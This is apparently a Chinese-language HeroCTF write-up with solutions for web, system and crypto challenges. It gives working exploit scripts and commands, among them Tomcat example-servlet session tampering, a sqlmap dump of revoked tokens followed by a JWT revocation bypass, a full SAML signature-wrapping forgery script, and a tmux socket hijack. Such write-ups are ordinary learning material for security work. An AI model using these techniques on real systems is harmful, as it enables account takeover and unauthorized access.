WEB Tomwhat 题目部分源码
protected void doPost (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { String username = req.getParameter("username" ); if ("darth_sidious" .equalsIgnoreCase(username)) { req.setAttribute("error" , "Forbidden username." ); doGet(req, resp); return ; } req.getSession().setAttribute("username" , username); resp.sendRedirect(req.getContextPath() + "/" ); } protected void doGet (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { resp.setContentType("text/html;charset=UTF-8" ); HttpSession s = req.getSession(false ); String username = s == null ? null : (String) s.getAttribute("username" ); StringBuilder html = new StringBuilder ("<html><body><h1>Admin Panel</h1>" ); if ("darth_sidious" .equalsIgnoreCase(username)) { html.append("<p>Welcome Lord Sidious, Vador says: Hero{fake_flag}.</p>" ); } else { html.append("<p>Access denied.</p>" ); } html.append("</body></html>" ); resp.getWriter().write(html.toString()); }
Tomcat 的/examples/路由下有一些例子可以手动更改 session 的值 访问 http://url/examples/servlets/servlet/SessionExample
根据要求,把 username 设成 darth_sidious 访问 http://url/dark/admin 拿到 flag
参考链接:https://wiki.96.mk/Web安全/Tomcat/Tomcat样例目录session操纵漏洞/
Revoked & Revoked Revenge sqlmap 一把梭到报废 token 中看一个 is_admin=1 的 token
python sqlmap.py -r 1 .txt --dbms sqlite --technique U -v 3 -T revoked_tokens --columns --dump --batch
base64 解码得到 admin 的报废 token eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNfYWRtaW4iOjEsImlzc3VlZCI6MTc2NDQ5NTc4Ny40NDIyNTU1fQ.Wjzeo8h4XvwbONqfJPDTGaPWp3qbXo5CiOAfphqwGBA
稍微改一下 token,在 JWT 正常识别的情况下就能拿到 flag 总所周知,jwt 原理就是 base64 编码,但 Base64 有三个字符+、/和=,在 URL 里面有特殊含义,所以要被替换掉:=被省略、+替换成-,/替换成_。 所以在 Cookie 最后加一个等于号就绕过了。
SAMLevinson 爬虫题,参考的 CVE 是 CVE-2022-47966,漏洞原理是 golang 处理 saml 时的两种引擎冲突。验证看的是第一个 assert,返回的却是第二个 assert。 要自己先生成一个 sha1 的证书 cert.pem 和 key.pem
openssl genrsa -out key.pem 2048 openssl req -new -key key.pem -out csr.pem -subj "/CN=saml-test" openssl x509 -req -in csr.pem -signkey key.pem -out cert.pem -days 365 -sha1
exp.py
import requestsfrom bs4 import BeautifulSoupfrom urllib.parse import urlparse, parse_qsfrom base64 import b64decode, b64encodeimport subprocessdef extract_form_params (html_content ): soup = BeautifulSoup(html_content, "html.parser" ) form = soup.find("form" ) if not form: return None form_data = { "action" : form.get("action" ), "method" : form.get("method" , "get" ).upper(), "inputs" : {}, } inputs = form.find_all("input" ) for input_field in inputs: name = input_field.get("name" ) value = input_field.get("value" , "" ) input_type = input_field.get("type" , "text" ) if name: form_data["inputs" ][name] = {"value" : value, "type" : input_type} return form_data url1 = "http://web.heroctf.fr:8080" url2 = "http://web.heroctf.fr:8081" r1 = requests.get(url=url1 + "/flag" , allow_redirects=False ) if r1.status_code in [301 , 302 , 303 , 307 , 308 ]: location_header = r1.headers.get("Location" ) if location_header: print (f"重定向到: {location_header} " ) parsed_url = urlparse(location_header) params = parse_qs(parsed_url.query) simple_params = {k: v[0 ] if len (v) == 1 else v for k, v in params.items()} cookies1 = r1.cookies r2 = requests.get(url=url2 + "/sso" , params=simple_params) html = r2.text dat1 = extract_form_params(html) data1 = {"user" : "user" } for i in dat1["inputs" ]: data1[i] = dat1["inputs" ][i]["value" ] data1["user" ] = "user" data1["password" ] = "oyJPNYd3HgeBkaE%!rP#dZvqf2z*4$^qcCW4V6WM" r2 = requests.post(url=url2 + "/sso" , data=data1) html = r2.text dat2 = extract_form_params(html) data2 = {"SAMLResponse" : "" } for i in dat2["inputs" ]: data2[i] = dat2["inputs" ][i]["value" ] decode_response = b64decode(dat2["inputs" ]["SAMLResponse" ]["value" ]).decode() with open ("original_payload.xml" , "w" ) as w: w.write(decode_response) with open ("status.xml" , "w" ) as w: content = decode_response.split("<saml:Assertion" )[0 ] w.write(content) with open ("assertion.xml" , "w" ) as w: content = "<saml:Assertion" + decode_response.split("<saml:Assertion" , 1 )[1 ] content = content.replace("</samlp:Response>" , "" ) w.write(content) result = subprocess.run(["python" , "gen.py" ], capture_output=True , text=True ) output = result.stdout.strip() err = result.stderr print (err)with open ("payload.xml" , "w" ) as w: payload = open ("status.xml" , "r" ).read() payload += open ("assertion.xml" , "r" ).read() payload += open ("assertion2.xml" , "r" ).read() payload += "</samlp:Response>" w.write(payload) output = b64encode(open ("payload.xml" , "rb" ).read()).decode() data2["SAMLResponse" ] = output print (data2)r1 = requests.post( url=url1 + "/saml/acs" , cookies=cookies1, data=data2, allow_redirects=False , ) print (r1.text)cookies1 = r1.cookies r1 = requests.get(url=url1 + "/flag" , cookies=cookies1, allow_redirects=False ) print (r1.text)
gen.py
import refrom lxml import etreefrom signxml import XMLSigner, XMLVerifierimport base64import urllib.parseimport uuiddef resign_assertion (assertion_xml, private_key, certificate ): assertion_modified = assertion_xml.replace("user" , "admin" ).replace( "Users" , "Administrators" ) new_id = "id-" + str (uuid.uuid4().hex ) assertion_clean = re.sub( r"<ds:Signature.*?</ds:Signature>" , "" , assertion_modified, flags=re.DOTALL ) assertion_clean = re.sub(r'ID="[^"]*"' , f'ID="{new_id} "' , assertion_clean) issuer_end = assertion_clean.find("</saml:Issuer>" ) + len ("</saml:Issuer>" ) assertion_with_placeholder = ( assertion_clean[:issuer_end] + '<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#" Id="placeholder"></ds:Signature>' + assertion_clean[issuer_end:] ) assertion_root = etree.fromstring(assertion_with_placeholder.encode()) signed_assertion = XMLSigner( c14n_algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" , signature_algorithm="rsa-sha1" , digest_algorithm="sha1" , ).sign(assertion_root, key=private_key, cert=certificate) return etree.tostring(signed_assertion, encoding="unicode" ) with open ("assertion.xml" , "r" ) as file: assertion_xml = file.read() with open ("cert.pem" , "r" ) as cert, open ("key.pem" , "r" ) as key: certificate = cert.read() private_key = key.read() resigned_assertion = resign_assertion(assertion_xml, private_key, certificate) resigned_assertion = resigned_assertion.replace("\n" , "" ).replace("\r" , "" ) with open ("assertion2.xml" , "w" ) as w: w.write(resigned_assertion) print ("修改并重新签名的Assertion已保存到 assertion2.xml" )
参考链接https://www.bilibili.com/opus/824399670911434755 更改 user 为 admin 非必要
System Movie Night #1 不是很会提到 root 权限 第一题是读取/home/dev/flag.txt
ps auxf USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND dev 31 0.0 0.0 4548 3192 ? Ss 09:56 0:00 tmux -S /tmp/tmux-1002 new-session -d -s work bash dev 32 0.0 0.0 4196 3504 pts/0 Ss+ 09:56 0:00 \_ bash
看到 dev 开了一个 tmux 的 shell,直接连进去读它的文件就行
tmux -S /tmp/tmux-1002 attach cat /home/dev/flag.txt
Crypto Andor import secretsAND = lambda x, y: [a & b for a, b in zip (x, y)] IOR = lambda x, y: [a | b for a, b in zip (x, y)] with open ("flag.txt" , "rb" ) as f: flag = [*f.read().strip()] l = len (flag) // 2 while True : k = secrets.token_bytes(len (flag)) a = AND(flag[:l], k[:l]) o = IOR(flag[l:], k[l:]) print ("a =" , bytearray (a).hex ()) print ("o =" , bytearray (o).hex ()) input ("> " )
前半部分: a[i]=flag[i] & k[i] 后半部分: o[i]=flag[i] | k[i]
k[i]取{0,1},可以看出当 flag[i]=0 时,a[i]总为 0,flag[i]=1 时,o[i]总为 1,所以当获取足够多的数据时,就能得到 flag 的所有位的比特值。
from pwn import *context(arch="amd64" , os="linux" , log_level="debug" ) conn = remote("crypto.heroctf.fr" , 9000 ) a_samples = [] o_samples = [] print ("正在收集样本..." )try : for i in range (200 ): conn.recvuntil(b"a = " ) a_hex = conn.recvline().decode().strip() a_bytes = bytes .fromhex(a_hex) a_samples.append(a_bytes) conn.recvuntil(b"o = " ) o_hex = conn.recvline().decode().strip() o_bytes = bytes .fromhex(o_hex) o_samples.append(o_bytes) conn.sendline(b"" ) if (i + 1 ) % 20 == 0 : print (f"已收集 {i + 1 } 个样本" ) except EOFError: print ("连接结束" ) print (f"收集完成,共 {len (a_samples)} 个样本" )print (a_samples)print (o_samples)flag_len = len (a_samples[0 ]) * 2 l = len (a_samples[0 ]) print (f"Flag长度: {flag_len} , 前半部分长度: {l} " )print ("恢复前半部分..." )flag_first_half = bytearray (l) for i in range (l): byte_val = 0 for sample in a_samples: byte_val |= sample[i] flag_first_half[i] = byte_val print ("恢复后半部分..." )flag_second_half = bytearray (l) for i in range (l): byte_val = 0xFF for sample in o_samples: byte_val &= sample[i] flag_second_half[i] = byte_val flag_bytes = flag_first_half + flag_second_half flag = bytes (flag_bytes) print (f"恢复的flag: {flag} " )print (f"ASCII: {flag.decode('ascii' , errors='ignore' )} " )with open ("recovered_flag.txt" , "wb" ) as f: f.write(flag) print ("Flag已保存到 recovered_flag.txt" )
Perilous from cryptography.hazmat.decrepit.ciphers import algorithmsfrom cryptography.hazmat.primitives.ciphers import Cipherimport oswith open ("flag.txt" , "rb" ) as f: FLAG = f.read() MASK = os.urandom(len (FLAG)) KEYS = [] def xor (a: bytes , b: bytes ) -> bytes : return bytes (x ^ y for x, y in zip (a, b * (1 + len (a) // len (b)))) def encrypt (k: str , m: str ) -> str : k = bytes .fromhex(k) m = bytes .fromhex(m) if k in KEYS: raise Exception("Duplicate key used, aborting" ) KEYS.append(k) algorithm = algorithms.ARC4(k) cipher = Cipher(algorithm, mode=None ) encryptor = cipher.encryptor() m = xor(m, MASK) m = encryptor.update(m) m = xor(m, MASK) return m.hex () print ( "Welcome to my RC4 encryption service! Some may call it deprecated, I call it vintage." , ) k = input ("flag k: " ) print (encrypt(k, FLAG.hex ()))while True : k = input ("k: " ) m = input ("m: " ) print (encrypt(k, m))
MASK 值在加密过程中被抵消了,实际是不存在的,题目就是标准 RC4。 那么用来加密全\x00 的字符串的话,就能得到 key。 ai 秒了
from pwn import *from Crypto.Cipher import ARC4import binasciidef xor (a, b ): return bytes (x ^ y for x, y in zip (a, b)) conn = remote("crypto.heroctf.fr" , 9001 ) key_hex = "11223344556677889900aabbccddeeff" conn.recvuntil(b"flag k: " ) conn.sendline(key_hex.encode()) response = conn.recvline().decode().strip() encrypted_flag_hex = response encrypted_flag = bytes .fromhex(encrypted_flag_hex) print (f"加密的flag: {encrypted_flag_hex} " )key_bytes = bytes .fromhex(key_hex) cipher = ARC4.new(key_bytes) keystream = cipher.encrypt(b"\x00" * len (encrypted_flag)) flag = xor(encrypted_flag, keystream) print (f"解密结果: {flag} " )try : flag_text = flag.decode("ascii" ) print (f"Flag: {flag_text} " ) except : print ("包含非ASCII字符" ) print (f"Hex: {flag.hex ()} " ) conn.close()